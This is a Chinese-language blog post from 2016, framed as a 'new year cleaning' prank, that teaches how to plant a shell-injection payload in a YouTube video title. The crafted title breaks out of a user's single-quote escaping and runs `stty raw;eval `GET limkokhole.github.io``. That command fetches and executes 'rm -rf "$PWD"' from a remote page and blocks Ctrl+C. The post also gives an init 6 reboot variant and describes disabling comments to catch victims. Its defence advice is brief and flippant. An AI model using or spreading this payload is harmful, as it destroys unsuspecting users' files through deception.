Monday 4 January 2016

如何用 youtube 大扫除

新年要到了 (◔‿^) ♥, 也是家家户户大扫除的时候。

今天,我们来学如何善用 youtube, 然后帮小白的电脑大扫除。


首先,我们要准备一个 malicious 的视频标题:

我们的目标是小白使用 terminal 播放视频, 他想用单引号来 escape 下载好的视频标题,所以只要那个标题的中间多了两个单引号,那么小白外围的单引号就等于抵消成两个 tokens。

假设正常的标题是 ABC<空格>DEF, 直接给 player 播放就会当成 ABC 和 DEF 两个 token(视频标题),可是我们没有视频叫 ABC, 也没有视频叫 DEF, 我们只有叫 ABC<空格>DEF 的视频, 所以给 player 播放就会 error。

这时候,小白就会加单引号或双引号,它就会变成 'ABC<空格>DEF' 完整的单个 token, 然后 player 就能顺利播放。

可是如果视频标题是 ABC ' ' DEF, 那么如果小白没留意到中间的单引号,反而习惯性的在外围加上单引号, 就会变成 'ABC'  'DEF' , 也就是没 escape 到, 仍然是把一个视频名字分成两个 token, 当然无法播放。

如果视频标题是 ABC ' XXX 指令 ' DEF, 那么一旦不小心单引号 escape, 就会变成  'ABC ' XXX 指令 ' DEF', 也就是 4 个单引号和三个 tokens,前后 token 是分开的视频名字,中间的 token 就是想要运行的指令。但是这样是不够的,要加上 ; colon,如 'ABC '; XXX 指令; ' DEF' ,才能让 shell interpreter 把 XXX 当作可以运行的指令。那个第二个 ; colon 取决于你的指令是什么,是 optional 的。其它选择是 &&。由于 youtube 会转换 || 去 underscore, 所以不能 || 或 pipeline。除此之外,星号 (expansion 用途) 会转去 underscore, < 和 > (重定向用途)不能当标题,/ (网址用途) 不能当文件命名,这些限制很大程度考验我们要如何设计标题。

小白特地 escape 反而变到没 escape, 我称这招为 "Malicious Anti-escape"



懂了原理后,让我们来精心炮制 malicious 视频标题 :p

先用指令 mkdir -p test/a/b/c; touch test/a/b/h; touch test/lala; cd test; l 准备一些 dummy dirs/files

用 touch 做标题,然后用 mplayer 实验。我上面讲过需要中间 4 个单引号,下面那个 touch 外面是小白放的所以不用制作, 只需要制作中间的那个单引号。要制作单引号的方法之一是外围两个单引号终止左右边从而变成 2 个 tokens, 然后两个双引号保护单引号, 就成为  ' " ' " '。三个 tokens。

因为很多小白都懂 rm -rf, 所以我们要把它丢在"不容易辨认"的 HTTP 请求里头。可是也有小白懂 wget 和 curl,所以必须用罕见且看起来不像指令的英文字。第一种选择是蛮正常的 http(httpie 指令),不过由于电脑装上 httpie 的人应该都懂 http, 所以不在考量之内。这时候默认安装且看起来不像指令的 GET 就脱颖而出了。`GET limkokhole.github.io` 会发出 HTTP 请求拿到纯文本 rm -rf "$PWD"。然后外围的 `` (backtick) 运行指令。我的例子只是 mention env variable 的可行性,如果你不要用 rm -rf "$PWD", 而是直接来大名鼎鼎的 rm -rf ./*, 就可以省掉 eval。

不过这样是不足够的,如果小白是用 mplayer 就比较容易进 rm -rf 那里,但是如果小白是用 vlc, 他一旦发现 error, 就会去 Ctrl+C stop 掉它。如果它连续按就会在需要一点 delay 的  HTTP 请求, GET limkokhole.github.io 那里跳出来而来不及执行 rm -rf。解决方法就是在 GET 之前补上 stty raw 扰乱他的 Ctrl+C input。

还有一点,如果你觉得习惯用 double quotes 的小白比较多(根据我的调查, 可能比单引号要多, 但必须考量那些不懂区分双单引号的人的 bash 水平也随之低下, 选择 player 播放,而不是 command line 播放, 你也就无法得逞) 就要做相反的 escape, 也就是单引号变成双引号, and vice versa 来处理。


 拿到标题后,就去 github, clone 自己的 repo,然后修改成 rm -rf "$PWD" (当然只是讲吧了,上面的截屏已经是修改了,不然怎样 test)。因为等下文件命名不能用 slash, 所以不能用一般的 url shortening, 所以选用支持 subdomain 的 github:


然后浏览 http://limkokhole.github.io/ 就能可能看到修改后的 rm -rf "$PWD" (小更正: "$PWD" 忘记放 double quotes 来包含有空格的绝对路径~):


我们要去 youtube,上载和标题相似的视频:


上载完毕后,把标题改成:
The blit - The first Unix graphical multi-programming terminal by Rob Pike, x86_64 cpu';stty raw;eval `GET limkokhole.github.io`;' bell-lab protocol history 1970


如果太长, 之后改也可以,我最终调整至 The blit - Unix graphical multi-programming terminal';stty raw;eval `GET limkokhole.github.io`;' lab


publish 后,去 Advanced settings, 确保不要给人 comment/dislike 的机会, Save changes:



然后就搞掂了,坐等 linux 小白上钩, 下面是以上钩的角度所拍摄:



如何 defense:

[1.] 用 autocomplete
[更新] 如果不小心 copy 到片名左边的单引号再 autocomplete 也是一样中(我当时自己也吓到一下,幸好我真的没傻到留着那个 github rm -rf。 囧)
[2.] 常 backup 重要的文件
[3.] 关注我的 blog, 提升电脑知识 :)


如果不要大扫除酱残忍,可以来个 harmless 一点的:

The blit - Unix graphical multi-programming terminal';init 6;'lab-DS6l7hLEatM.mp4

酱就只会 reboot 电脑而已 lor。


[更新]
我写这篇 blog 的 14 天后,gnu 的 ls 更改成默认 quote 了:


其它讨论链接: [1] [2] [3]

Youtube 加自己重复的 views 才 20 views,真正看我 blog 的人实际上只有小猫两三只,更别说看得懂,所以纯属巧合。


No comments:

Post a Comment